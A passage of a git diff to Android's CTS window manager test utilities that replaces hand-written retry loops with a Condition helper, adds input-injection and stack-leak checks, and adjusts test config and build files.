+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.LocationCheck" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/framework/base/windowmanager/testsdk28/AndroidTest.xml b/tests/framework/base/windowmanager/testsdk28/AndroidTest.xml
index d39b161..ac3b62b 100644
--- a/tests/framework/base/windowmanager/testsdk28/AndroidTest.xml
+++ b/tests/framework/base/windowmanager/testsdk28/AndroidTest.xml
@@ -21,6 +21,7 @@
     <!-- Instant apps and multi-abi not supported. -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.LocationCheck" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/framework/base/windowmanager/util/Android.bp b/tests/framework/base/windowmanager/util/Android.bp
index 445b89a..5ad5c4f 100644
--- a/tests/framework/base/windowmanager/util/Android.bp
+++ b/tests/framework/base/windowmanager/util/Android.bp
@@ -12,7 +12,19 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-java_test {
+filegroup {
+    name: "cts-wm-app-util",
+    srcs: [
+        "src/android/server/wm/ActivityLauncher.java",
+        "src/android/server/wm/CommandSession.java",
+        "src/android/server/wm/ComponentNameUtils.java",
+        "src/android/server/wm/TestJournalProvider.java",
+        "src/android/server/wm/TestLogClient.java",
+        ":cts-wm-components",
+    ],
+}
+
+java_test_helper_library {
     name: "cts-wm-util",
 
     srcs: [
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityAndWindowManagersState.java b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityAndWindowManagersState.java
index a3102c5..512d860 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityAndWindowManagersState.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityAndWindowManagersState.java
@@ -31,6 +31,9 @@
 import static android.util.DisplayMetrics.DENSITY_DEFAULT;
 import static android.view.Display.DEFAULT_DISPLAY;
 
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
 import static org.hamcrest.Matchers.greaterThan;
 import static org.hamcrest.Matchers.greaterThanOrEqualTo;
 import static org.hamcrest.Matchers.lessThan;
@@ -53,15 +56,14 @@
 import android.server.wm.WindowManagerState.WindowStack;
 import android.server.wm.WindowManagerState.WindowState;
 import android.server.wm.WindowManagerState.WindowTask;
+import android.util.Log;
 import android.util.SparseArray;
 
 import java.util.Arrays;
 import java.util.List;
 import java.util.Objects;
 import java.util.function.BiPredicate;
-import java.util.function.BooleanSupplier;
 import java.util.function.Predicate;
-import java.util.function.Supplier;
 import java.util.stream.Collectors;
 
 /**
@@ -143,53 +145,45 @@
      */
     private void waitForValidState(boolean compareTaskAndStackBounds,
             WaitForValidActivityState... waitForActivitiesVisible) {
-        for (int retry = 1; retry <= 5; retry++) {
+        if (!Condition.waitFor("valid stacks and activities states", () -> {
             // TODO: Get state of AM and WM at the same time to avoid mismatches caused by
             // requesting dump in some intermediate state.
             mAmState.computeState();
             mWmState.computeState();
-            if (shouldWaitForSanityCheck(compareTaskAndStackBounds)
+            return !(shouldWaitForSanityCheck(compareTaskAndStackBounds)
                     || shouldWaitForValidStacks(compareTaskAndStackBounds)
                     || shouldWaitForActivities(waitForActivitiesVisible)
-                    || shouldWaitForWindows()) {
-                logAlways("***Waiting for valid stacks and activities states... retry=" + retry);
-                SystemClock.sleep(1000);
-            } else {
-                return;
-            }
+                    || shouldWaitForWindows());
+        })) {
+            logE("***Waiting for states failed: " + Arrays.toString(waitForActivitiesVisible));
         }
-        logE("***Waiting for states failed: " + Arrays.toString(waitForActivitiesVisible));
     }
 
     /**
      * Ensures all exiting windows have been removed.
      */
     void waitForAllExitingWindows() {
-        List<WindowState> exitingWindows = null;
-        for (int retry = 1; retry <= 5; retry++) {
-            mWmState.computeState();
-            exitingWindows = mWmState.getExitingWindows();
-            if (exitingWindows.isEmpty()) {
-                return;
-            }
-            logAlways("***Waiting for all exiting windows have been removed... retry=" + retry);
-            SystemClock.sleep(1000);
-        }
-        fail("All exiting windows have been removed, actual=" + exitingWindows.stream()
-                .map(WindowState::getName)
-                .collect(Collectors.joining(",")));
+        Condition.<List<WindowState>>waitForResult("all exiting windows to be removed",
+                condition -> condition
+                        .setResultSupplier(() -> {
+                            mWmState.computeState();
+                            return mWmState.getExitingWindows();
+                        })
+                        .setResultValidator(List<WindowState>::isEmpty)
+                        .setOnFailure(exitingWindows -> {
+                            fail("All exiting windows have been removed, actual="
+                                    + exitingWindows.stream().map(WindowState::getName)
+                                            .collect(Collectors.joining(",")));
+                        }));
     }
 
     void waitForAllStoppedActivities() {
-        for (int retry = 1; retry <= 5; retry++) {
+        if (!Condition.waitFor("all started activities have been removed", () -> {
             mAmState.computeState();
-            if (!mAmState.containsStartedActivities()) {
-                return;
-            }
-            logAlways("***Waiting for all started activities have been removed... retry=" + retry);
-            SystemClock.sleep(1500);
+            return !mAmState.containsStartedActivities();
+        })) {
+            fail("All started activities have been removed");
         }
-        fail("All started activities have been removed");
     }
 
     /**
@@ -201,33 +195,12 @@
      * for debugger.
      */
     void waitForDebuggerWindowVisible(ComponentName activityName) {
-        for (int retry = 1; retry <= 5; retry++) {
+        Condition.waitFor("debugger window", () -> {
             mAmState.computeState();
             mWmState.computeState();
-            if (shouldWaitForDebuggerWindow(activityName)
-                    || shouldWaitForActivityRecords(activityName)) {
-                logAlways("***Waiting for debugger window... retry=" + retry);
-                SystemClock.sleep(1000);
-            } else {
-                return;
-            }
-        }
-        logE("***Waiting for debugger window failed");
-    }
-
-    <T> T waitForValidProduct(Supplier<T> supplier, String productName, Predicate<T> tester) {
-        T product = null;
-        for (int retry = 1; retry <= 5; retry++) {
-            product = supplier.get();
-            if (product != null) {
-                if (tester.test(product)) {
-                    break;
-                }
-            }
-            logAlways("***Waiting for valid " + productName + "... retry=" + retry);
-            SystemClock.sleep(1000);
-        }
-        return product;
+            return !shouldWaitForDebuggerWindow(activityName)
+                    && !shouldWaitForActivityRecords(activityName);
+        });
     }
 
     void waitForHomeActivityVisible() {
@@ -247,37 +220,34 @@
             waitForHomeActivityVisible();
         } else {
             waitForWithAmState(ActivityManagerState::isRecentsActivityVisible,
-                    "***Waiting for recents activity to be visible...");
+                    "recents activity to be visible");
         }
     }
 
     void waitForKeyguardShowingAndNotOccluded() {
         waitForWithAmState(state -> state.getKeyguardControllerState().keyguardShowing
                         && !state.getKeyguardControllerState().isKeyguardOccluded(DEFAULT_DISPLAY),
-                "***Waiting for Keyguard showing...");
+                "Keyguard showing");
     }
 
     void waitForKeyguardShowingAndOccluded() {
         waitForWithAmState(state -> state.getKeyguardControllerState().keyguardShowing
                         && state.getKeyguardControllerState().isKeyguardOccluded(DEFAULT_DISPLAY),
-                "***Waiting for Keyguard showing and occluded...");
+                "Keyguard showing and occluded");
     }
 
     void waitForAodShowing() {
-        waitForWithAmState(state -> state.getKeyguardControllerState().aodShowing,
-                "***Waiting for AOD showing...");
-
+        waitForWithAmState(state -> state.getKeyguardControllerState().aodShowing, "AOD showing");
     }
 
     void waitForKeyguardGone() {
         waitForWithAmState(state -> !state.getKeyguardControllerState().keyguardShowing,
-                "***Waiting for Keyguard gone...");
+                "Keyguard gone");
     }
 
     /** Wait for specific rotation for the default display. Values are Surface#Rotation */
     void waitForRotation(int rotation) {
-        waitForWithWmState(state -> state.getRotation() == rotation,
-                "***Waiting for Rotation: " + rotation);
+        waitForWithWmState(state -> state.getRotation() == rotation, "Rotation: " + rotation);
     }
 
     /**
@@ -286,7 +256,7 @@
      */
     void waitForLastOrientation(int orientation) {
         waitForWithWmState(state -> state.getLastOrientation() == orientation,
-                "***Waiting for LastOrientation: " + orientation);
+                "LastOrientation: " + orientation);
     }
 
     /**
@@ -299,30 +269,28 @@
                 return false;
             }
             return task.mFullConfiguration.orientation == orientation;
-        }, "***Waiting for Activity orientation: " + orientation);
+        }, "orientation of " + getActivityName(activityName) + " to be " + orientation);
     }
 
     void waitForDisplayUnfrozen() {
-        waitForWithWmState(state -> !state.isDisplayFrozen(),
-                "***Waiting for Display unfrozen");
+        waitForWithWmState(state -> !state.isDisplayFrozen(), "Display unfrozen");
     }
 
     public void waitForActivityState(ComponentName activityName, String activityState) {
         waitForWithAmState(state -> state.hasActivityState(activityName, activityState),
-                "***Waiting for Activity State: " + activityState);
+                "state of " + getActivityName(activityName) + " to be " + activityState);
     }
 
     public void waitForActivityRemoved(ComponentName activityName) {
         waitForWithAmState((state) -> !state.containsActivity(activityName),
-                "Waiting for activity to be removed");
+                "activity to be removed");
         waitForWithWmState((state) -> !state.containsWindow(getWindowName(activityName)),
-                "Waiting for activity window to be gone");
+                "activity window to be gone");
     }
 
     @Deprecated
     void waitForFocusedStack(int stackId) {
-        waitForWithAmState(state -> state.getFocusedStackId() == stackId,
-                "***Waiting for focused stack...");
+        waitForWithAmState(state -> state.getFocusedStackId() == stackId, "focused stack");
     }
 
     void waitForFocusedStack(int windowingMode, int activityType) {
@@ -331,59 +299,54 @@
                                 || state.getFocusedStackActivityType() == activityType)
                         && (windowingMode == WINDOWING_MODE_UNDEFINED
                                 || state.getFocusedStackWindowingMode() == windowingMode),
-                "***Waiting for focused stack...");
+                "focused stack");
     }
 
     void waitForPendingActivityContain(ComponentName activity) {
         waitForWithAmState(state -> state.pendingActivityContain(activity),
-                "***Waiting for activity in pending list...");
+                getActivityName(activity) + " in pending list");
     }
 
     void waitForAppTransitionIdleOnDisplay(int displayId) {
         waitForWithWmState(
                 state -> WindowManagerState.APP_STATE_IDLE.equals(
                         state.getDisplay(displayId).getAppTransitionState()),
-                "***Waiting for app transition idle on Display " + displayId + " ...");
+                "app transition idle on Display " + displayId);
     }
 
-
     void waitAndAssertNavBarShownOnDisplay(int displayId) {
-        waitForWithWmState(
+        assertTrue(waitForWithWmState(
                 state -> state.getAndAssertSingleNavBarWindowOnDisplay(displayId) != null,
-                "***Waiting for navigation bar #" + displayId + " show...");
-        final WindowState ws = getWmState().getAndAssertSingleNavBarWindowOnDisplay(displayId);
-
-        assertNotNull(ws);
+                "navigation bar #" + displayId + " show"));
     }
 
-    public void waitForWithAmState(Predicate<ActivityManagerState> waitCondition, String message) {
-        waitFor((amState, wmState) -> waitCondition.test(amState), message);
+    public boolean waitForWithAmState(Predicate<ActivityManagerState> waitCondition,
+            String message) {
+        return waitFor((amState, wmState) -> waitCondition.test(amState), message);
     }
 
-    public void waitForWithWmState(Predicate<WindowManagerState> waitCondition, String message) {
-        waitFor((amState, wmState) -> waitCondition.test(wmState), message);
+    public boolean waitForWithWmState(Predicate<WindowManagerState> waitCondition, String message) {
+        return waitFor((amState, wmState) -> waitCondition.test(wmState), message);
     }
 
-    void waitFor(
+    public void waitWindowingModeTopFocus(int windowingMode, boolean topFocus, String message) {
+        waitForWithAmState(amState -> {
+            final ActivityStack stack = amState.getStandardStackByWindowingMode(windowingMode);
+            return stack != null
+                    && topFocus == (amState.getFocusedStackId() == stack.getStackId());
+        }, message);
+    }
+
+    /** @return {@code true} if the wait is successful; {@code false} if timeout occurs. */
+    boolean waitFor(
             BiPredicate<ActivityManagerState, WindowManagerState> waitCondition, String message) {
-        waitFor(message, () -> {
+        return Condition.waitFor(message, () -> {
             mAmState.computeState();
             mWmState.computeState();
             return waitCondition.test(mAmState, mWmState);
         });
     }
 
-    void waitFor(String message, BooleanSupplier waitCondition) {
-        for (int retry = 1; retry <= 5; retry++) {
-            if (waitCondition.getAsBoolean()) {
-                return;
-            }
-            logAlways(message + " retry=" + retry);
-            SystemClock.sleep(1000);
-        }
-        logE(message + " failed");
-    }
-
     /**
      * @return true if should wait for valid stacks state.
      */
@@ -425,6 +388,20 @@
         return false;
     }
 
+    void waitAndAssertAppFocus(String appPackageName, long waitTime) {
+        final Condition<String> condition = new Condition<>(appPackageName + " to be focused");
+        Condition.waitFor(condition.setResultSupplier(() -> {
+            mWmState.computeState();
+            return mWmState.getFocusedApp();
+        }).setResultValidator(focusedAppName -> {
+            return focusedAppName != null && appPackageName.equals(
+                    ComponentName.unflattenFromString(focusedAppName).getPackageName());
+        }).setOnFailure(focusedAppName -> {
+            fail("Timed out waiting for focus on app "
+                    + appPackageName + ", last was " + focusedAppName);
+        }).setRetryIntervalMs(100).setRetryLimit((int) waitTime / 100));
+    }
+
     /**
      * @return true if should wait for some activities to become visible.
      */
@@ -461,8 +438,7 @@
                     if (stackId != INVALID_STACK_ID && ws.getStackId() != stackId) {
                         continue;
                     }
-                    if (windowingMode != WINDOWING_MODE_UNDEFINED
-                            && ws.getWindowingMode() != windowingMode) {
+                    if (!ws.isWindowingModeCompatible(windowingMode)) {
                         continue;
                     }
                     if (activityType != ACTIVITY_TYPE_UNDEFINED
@@ -723,6 +699,20 @@
                 getAmState().getKeyguardControllerState().aodShowing);
     }
 
+    public void assertEmptyStackOrTask() {
+        getAmState().computeState();
+        final List<ActivityManagerState.ActivityStack> stacks = getAmState().getStacks();
+        for (ActivityManagerState.ActivityStack stack : stacks) {
+            assertWithMessage("Empty stack was found, id = " + stack.mStackId)
+                    .that(stack.getTopTask()).isNotNull();
+            final List<ActivityManagerState.ActivityTask> tasks = stack.getTasks();
+            for (ActivityManagerState.ActivityTask task : tasks) {
+                assertWithMessage("Empty task was found, id = " + task.mTaskId)
+                        .that(task.getActivities().size()).isGreaterThan(0);
+            }
+        }
+    }
+
     public void assumePendingActivityContain(ComponentName activity) {
         assumeTrue(getAmState().pendingActivityContain(activity));
     }
@@ -955,9 +945,12 @@
     }
 
     void waitAndAssertImeWindowShownOnDisplay(int displayId) {
-        final WindowManagerState.WindowState imeWinState = waitForValidProduct(
-                this::getImeWindowState, "IME window",
-                w -> w.isShown() && w.getDisplayId() == displayId);
+        final WindowManagerState.WindowState imeWinState = Condition.waitForResult("IME window",
+                condition -> condition
+                        .setResultSupplier(this::getImeWindowState)
+                        .setResultValidator(
+                                w -> w != null && w.isShown() && w.getDisplayId() == displayId));
+
         assertNotNull("IME window must exist", imeWinState);
         assertTrue("IME window must be shown", imeWinState.isShown());
         assertEquals("IME window must be on the given display", displayId,
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityLauncher.java b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityLauncher.java
index b75eeea..7f2e144 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityLauncher.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityLauncher.java
@@ -24,7 +24,6 @@
 
 import android.app.ActivityManager;
 import android.app.ActivityOptions;
-import android.app.PendingIntent;
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
@@ -67,6 +66,11 @@
      */
     public static final String KEY_REORDER_TO_FRONT = "reorder_to_front";
     /**
+     * Key for boolean extra, indicates if launch task without presented to user.
+     * {@link ActivityOptions#makeTaskLaunchBehind()}.
+     */
+    public static final String KEY_LAUNCH_TASK_BEHIND = "launch_task_behind";
+    /**
      * Key for string extra with string representation of target component.
      */
     public static final String KEY_TARGET_COMPONENT = "target_component";
@@ -82,12 +86,6 @@
      */
     public static final String KEY_USE_APPLICATION_CONTEXT = "use_application_context";
     /**
-     * Key for boolean extra, indicates if instrumentation context will be used for launch. This
-     * means that {@link PendingIntent} should be used instead of a regular one, because application
-     * switch will not be allowed otherwise.
-     */
-    public static final String KEY_USE_INSTRUMENTATION = "use_instrumentation";
-    /**
      * Key for boolean extra, indicates if any exceptions thrown during launch other then
      * {@link SecurityException} should be suppressed. A {@link SecurityException} is never thrown,
      * it's always written to logs.
@@ -167,12 +165,15 @@
             newIntent.putExtras(intentExtras);
         }
 
-        ActivityOptions options = null;
+        ActivityOptions options = extras.getBoolean(KEY_LAUNCH_TASK_BEHIND)
+                ? ActivityOptions.makeTaskLaunchBehind() : null;
         final int displayId = extras.getInt(KEY_DISPLAY_ID, -1);
         if (displayId != -1) {
-            options = ActivityOptions.makeBasic();
+            if (options == null) {
+                options = ActivityOptions.makeBasic();
+            }
             options.setLaunchDisplayId(displayId);
-            if (extras.getBoolean(KEY_MULTIPLE_INSTANCES, true)) {
+            if (extras.getBoolean(KEY_MULTIPLE_INSTANCES)) {
                 newIntent.addFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK);
             }
         }
@@ -196,30 +197,9 @@
                 context.getApplicationContext() : context;
 
         try {
-            if (extras.getBoolean(KEY_USE_INSTRUMENTATION)) {
-                // Using PendingIntent for Instrumentation launches, because otherwise we won't
-                // be allowed to switch the current activity with ours with different uid.
-                // android.permission.STOP_APP_SWITCHES is needed to do this directly.
-                // PendingIntent.FLAG_CANCEL_CURRENT is needed here, or we may get an existing
-                // PendingIntent if it is same kind of PendingIntent request to previous one.
-                // Note: optionsBundle is not taking into account for PendingIntentRecord.Key
-                // hashcode calculation.
-                final PendingIntent pendingIntent = PendingIntent.getActivity(launchContext, 0,
-                        newIntent, PendingIntent.FLAG_CANCEL_CURRENT, optionsBundle);
-                pendingIntent.send();
-            } else {
-                launchContext.startActivity(newIntent, optionsBundle);
-            }
+            launchContext.startActivity(newIntent, optionsBundle);
         } catch (SecurityException e) {
             handleSecurityException(context, e);
-        } catch (PendingIntent.CanceledException e) {
-            if (extras.getBoolean(KEY_SUPPRESS_EXCEPTIONS)) {
-                Log.e(TAG, "Exception launching activity with pending intent");
-            } else {
-                throw new RuntimeException(e);
-            }
-            // Bypass the exception although it is not SecurityException.
-            handleSecurityException(context, e);
         } catch (Exception e) {
             if (extras.getBoolean(KEY_SUPPRESS_EXCEPTIONS)) {
                 Log.e(TAG, "Exception launching activity");
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerState.java b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerState.java
index d7733dc..fe1c419 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerState.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerState.java
@@ -696,7 +696,7 @@
         ArrayList<ActivityTask> mTasks = new ArrayList<>();
 
         ActivityStack(ActivityStackProto proto) {
-            super(proto.configurationContainer);
+            super(proto.stack.windowContainer.configurationContainer);
             mStackId = proto.id;
             mDisplayId = proto.displayId;
             mBounds = extract(proto.bounds);
@@ -767,7 +767,7 @@
         private int mResizeMode;
 
         ActivityTask(TaskRecordProto proto) {
-            super(proto.configurationContainer);
+            super(proto.task.windowContainer.configurationContainer);
             mTaskId = proto.id;
             mStackId = proto.stackId;
             mLastNonFullscreenBounds = extract(proto.lastNonFullscreenBounds);
@@ -807,7 +807,7 @@
         public boolean translucent;
 
         Activity(ActivityRecordProto proto) {
-            super(proto.configurationContainer);
+            super(proto.appWindowToken.windowToken.windowContainer.configurationContainer);
             name = proto.identifier.title;
             state = proto.state;
             visible = proto.visible;
@@ -827,6 +827,7 @@
         }
     }
 
+    // TODO: Switch to extending WindowContainer once unification is done.
     static abstract class ActivityContainer extends WindowManagerState.ConfigurationContainer {
         protected boolean mFullscreen;
         protected Rect mBounds;
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
index f7337e9..5468226 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
@@ -47,6 +47,7 @@
 import static android.server.wm.ActivityLauncher.KEY_INTENT_EXTRAS;
 import static android.server.wm.ActivityLauncher.KEY_INTENT_FLAGS;
 import static android.server.wm.ActivityLauncher.KEY_LAUNCH_ACTIVITY;
+import static android.server.wm.ActivityLauncher.KEY_LAUNCH_TASK_BEHIND;
 import static android.server.wm.ActivityLauncher.KEY_LAUNCH_TO_SIDE;
 import static android.server.wm.ActivityLauncher.KEY_MULTIPLE_INSTANCES;
 import static android.server.wm.ActivityLauncher.KEY_MULTIPLE_TASK;
@@ -56,13 +57,12 @@
 import static android.server.wm.ActivityLauncher.KEY_SUPPRESS_EXCEPTIONS;
 import static android.server.wm.ActivityLauncher.KEY_TARGET_COMPONENT;
 import static android.server.wm.ActivityLauncher.KEY_USE_APPLICATION_CONTEXT;
-import static android.server.wm.ActivityLauncher.KEY_USE_INSTRUMENTATION;
 import static android.server.wm.ActivityLauncher.launchActivityFromExtras;
 import static android.server.wm.ActivityManagerState.STATE_RESUMED;
+import static android.server.wm.CommandSession.KEY_FORWARD;
 import static android.server.wm.ComponentNameUtils.getActivityName;
 import static android.server.wm.ComponentNameUtils.getLogTag;
 import static android.server.wm.StateLogger.log;
-import static android.server.wm.StateLogger.logAlways;
 import static android.server.wm.StateLogger.logE;
 import static android.server.wm.UiDeviceUtils.pressAppSwitchButton;
 import static android.server.wm.UiDeviceUtils.pressBackButton;
@@ -93,7 +93,7 @@
 import static android.view.Display.INVALID_DISPLAY;
 import static android.view.Surface.ROTATION_0;
 
-import static androidx.test.InstrumentationRegistry.getInstrumentation;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
 
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertNotNull;
@@ -123,10 +123,10 @@
 import android.os.Handler;
 import android.os.HandlerThread;
 import android.os.SystemClock;
-import android.os.UserHandle;
 import android.provider.Settings;
 import android.server.wm.CommandSession.ActivityCallback;
 import android.server.wm.CommandSession.ActivitySession;
+import android.server.wm.CommandSession.ActivitySessionClient;
 import android.server.wm.CommandSession.ConfigInfo;
 import android.server.wm.CommandSession.LaunchInjector;
 import android.server.wm.CommandSession.LaunchProxy;
@@ -137,6 +137,7 @@
 import android.util.EventLog.Event;
 import android.view.Display;
 import android.view.InputDevice;
+import android.view.KeyEvent;
 import android.view.MotionEvent;
 
 import androidx.annotation.NonNull;
@@ -157,13 +158,11 @@
 import java.util.Arrays;
 import java.util.Collections;
 import java.util.HashMap;
-import java.util.HashSet;
 import java.util.Iterator;
 import java.util.List;
 import java.util.Map;
 import java.util.UUID;
 import java.util.concurrent.Callable;
-import java.util.concurrent.TimeUnit;
 import java.util.concurrent.atomic.AtomicBoolean;
 import java.util.function.BooleanSupplier;
 import java.util.function.Consumer;
@@ -207,6 +206,7 @@
     private static Boolean sHasHomeScreen = null;
     private static Boolean sSupportsSystemDecorsOnSecondaryDisplays = null;
     private static Boolean sSupportsInsecureLockScreen = null;
+    private static boolean sStackTaskLeakFound;
 
     protected static final int INVALID_DEVICE_ROTATION = -1;
 
@@ -294,6 +294,27 @@
     protected BroadcastActionTrigger mBroadcastActionTrigger = new BroadcastActionTrigger();
 
     /**
+     * Returns true if the activity is shown before timeout.
+     */
+    protected boolean waitForActivityFocused(int timeoutMs, ComponentName componentName) {
+        long endTime = System.currentTimeMillis() + timeoutMs;
+        while (endTime > System.currentTimeMillis()) {
+            mAmWmState.getAmState().computeState();
+            mAmWmState.getWmState().computeState();
+            if (mAmWmState.getAmState().hasActivityState(componentName, STATE_RESUMED)) {
+                SystemClock.sleep(200);
+                mAmWmState.getAmState().computeState();
+                mAmWmState.getWmState().computeState();
+                break;
+            }
+            SystemClock.sleep(200);
+            mAmWmState.getAmState().computeState();
+            mAmWmState.getWmState().computeState();
+        }
+        return getActivityName(componentName).equals(mAmWmState.getAmState().getFocusedActivity());
+    }
+
+    /**
      * Helper class to process test actions by broadcast.
      */
     protected class BroadcastActionTrigger {
@@ -430,7 +451,7 @@
 
         pressWakeupButton();
         pressUnlockButton();
-        pressHomeButton();
+        launchHomeActivityNoWait();
         removeStacksWithActivityTypes(ALL_ACTIVITY_TYPE_BUT_HOME);
 
         // Clear launch params for all test packages to make sure each test is run in a clean state.
@@ -446,8 +467,28 @@
         stopTestPackage(TEST_PACKAGE);
         stopTestPackage(SECOND_TEST_PACKAGE);
         stopTestPackage(THIRD_TEST_PACKAGE);
-        pressHomeButton();
+        launchHomeActivityNoWait();
 
+        try {
+            // Skip empty stack/task check if a leakage was already found in previous test, or
+            // all tests afterward would also fail (since the leakage is always there) and fire
+            // unnecessary false alarms.
+            if (!sStackTaskLeakFound) {
+                mAmWmState.assertEmptyStackOrTask();
+            }
+        } catch (Throwable t) {
+            sStackTaskLeakFound = true;
+            throw t;
+        }
+    }
+
+    /**
+     * After home key is pressed ({@link #pressHomeButton} is called), the later launch may be
+     * deferred if the calling uid doesn't have android.permission.STOP_APP_SWITCHES. This method
+     * will resume the temporary stopped state, so the launch won't be affected.
+     */
+    protected void resumeAppSwitches() {
+        SystemUtil.runWithShellPermissionIdentity(ActivityManager::resumeAppSwitches);
     }
 
     protected void moveTopActivityToPinnedStack(int stackId) {
@@ -492,28 +533,70 @@
         return ComponentName.unflattenFromString(mContext.getResources().getString(resId));
     }
 
-    protected void tapOnDisplay(int x, int y, int displayId) {
+    protected void tapOnDisplaySync(int x, int y, int displayId) {
+        tapOnDisplay(x, y, displayId, true /* sync*/);
+    }
+
+
+    private void tapOnDisplay(int x, int y, int displayId, boolean sync) {
         final long downTime = SystemClock.uptimeMillis();
-        injectMotion(downTime, downTime, MotionEvent.ACTION_DOWN, x, y, displayId);
+        injectMotion(downTime, downTime, MotionEvent.ACTION_DOWN, x, y, displayId, sync);
 
         final long upTime = SystemClock.uptimeMillis();
-        injectMotion(downTime, upTime, MotionEvent.ACTION_UP, x, y, displayId);
+        injectMotion(downTime, upTime, MotionEvent.ACTION_UP, x, y, displayId, sync);
+
+        mAmWmState.waitForWithWmState(state -> state.getFocusedDisplayId() == displayId,
+                "top focused displayId: " + displayId);
+        // This is needed after a tap in multi-display to ensure that the display focus has really
+        // changed, if needed. The call to syncInputTransaction will wait until focus change has
+        // propagated from WMS to native input before returning.
+        getInstrumentation().getUiAutomation().syncInputTransactions();
+    }
+
+    protected void tapOnCenter(Rect bounds, int displayId) {
+        final int tapX = bounds.left + bounds.width() / 2;
+        final int tapY = bounds.top + bounds.height() / 2;
+        tapOnDisplaySync(tapX, tapY, displayId);
     }
 
     protected void tapOnStackCenter(ActivityManagerState.ActivityStack stack) {
-        final Rect sideStackBounds = stack.getBounds();
-        final int tapX = sideStackBounds.left + sideStackBounds.width() / 2;
-        final int tapY = sideStackBounds.top + sideStackBounds.height() / 2;
-        tapOnDisplay(tapX, tapY, stack.mDisplayId);
+        tapOnCenter(stack.getBounds(), stack.mDisplayId);
+    }
+
+    protected void tapOnDisplayCenter(int displayId) {
+        final Rect bounds = mAmWmState.getWmState().getDisplay(displayId).getDisplayRect();
+        tapOnDisplaySync(bounds.centerX(), bounds.centerY(), displayId);
+    }
+
+    protected void tapOnDisplayCenterAsync(int displayId) {
+        final Rect bounds = mAmWmState.getWmState().getDisplay(displayId).getDisplayRect();
+        tapOnDisplay(bounds.centerX(), bounds.centerY(), displayId, false /* sync */);
     }
 
     private static void injectMotion(long downTime, long eventTime, int action,
-            int x, int y, int displayId) {
+            int x, int y, int displayId, boolean sync) {
         final MotionEvent event = MotionEvent.obtain(downTime, eventTime, action,
                 x, y, 0 /* metaState */);
         event.setSource(InputDevice.SOURCE_TOUCHSCREEN);
         event.setDisplayId(displayId);
-        getInstrumentation().getUiAutomation().injectInputEvent(event, true /* sync */);
+        getInstrumentation().getUiAutomation().injectInputEvent(event, sync);
+    }
+
+    public static void injectKey(int keyCode, boolean longPress, boolean sync) {
+        final long downTime = SystemClock.uptimeMillis();
+        int repeatCount = 0;
+        KeyEvent downEvent =
+                new KeyEvent(downTime, downTime, KeyEvent.ACTION_DOWN, keyCode, repeatCount);
+        getInstrumentation().getUiAutomation().injectInputEvent(downEvent, sync);
+        if (longPress) {
+            repeatCount += 1;
+            KeyEvent repeatEvent = new KeyEvent(downTime, SystemClock.uptimeMillis(),
+                    KeyEvent.ACTION_DOWN, keyCode, repeatCount);
+            getInstrumentation().getUiAutomation().injectInputEvent(repeatEvent, sync);
+        }
+        KeyEvent upEvent = new KeyEvent(downTime, SystemClock.uptimeMillis(),
+                KeyEvent.ACTION_UP, keyCode, 0 /* repeatCount */);
+        getInstrumentation().getUiAutomation().injectInputEvent(upEvent, sync);
     }
 
     protected void removeStacksWithActivityTypes(int... activityTypes) {
@@ -559,19 +642,15 @@
         mAmWmState.waitForValidState(activityName);
     }
 
-    private static void waitForIdle() {
+    protected static void waitForIdle() {
         getInstrumentation().waitForIdleSync();
     }
 
-    /** Returns the set of stack ids. */
-    private HashSet<Integer> getStackIds() {
-        mAmWmState.computeState(true);
-        final List<ActivityManagerState.ActivityStack> stacks = mAmWmState.getAmState().getStacks();
-        final HashSet<Integer> stackIds = new HashSet<>();
-        for (ActivityManagerState.ActivityStack s : stacks) {
-            stackIds.add(s.mStackId);
-        }
-        return stackIds;
+    static void waitForOrFail(String message, BooleanSupplier condition) {
+        Condition.waitFor(new Condition<>(message, condition)
+                .setRetryIntervalMs(500)
+                .setRetryLimit(20)
+                .setOnFailure(unusedResult -> fail("FAILED because unsatisfied: " + message)));
     }
 
     /** Returns the stack that contains the provided task. */
@@ -588,8 +667,17 @@
         return null;
     }
 
-    protected void launchHomeActivity() {
+    /**
+     * Launches the home activity directly. If there is no specific reason to simulate a home key
+     * (which will trigger stop-app-switches), it is the recommended method to go home.
+     */
+    protected static void launchHomeActivityNoWait() {
         executeShellCommand(AM_START_HOME_ACTIVITY_COMMAND);
+    }
+
+    /** Launches the home activity directly with waiting for it to be visible. */
+    protected void launchHomeActivity() {
+        launchHomeActivityNoWait();
         mAmWmState.waitForHomeActivityVisible();
     }
 
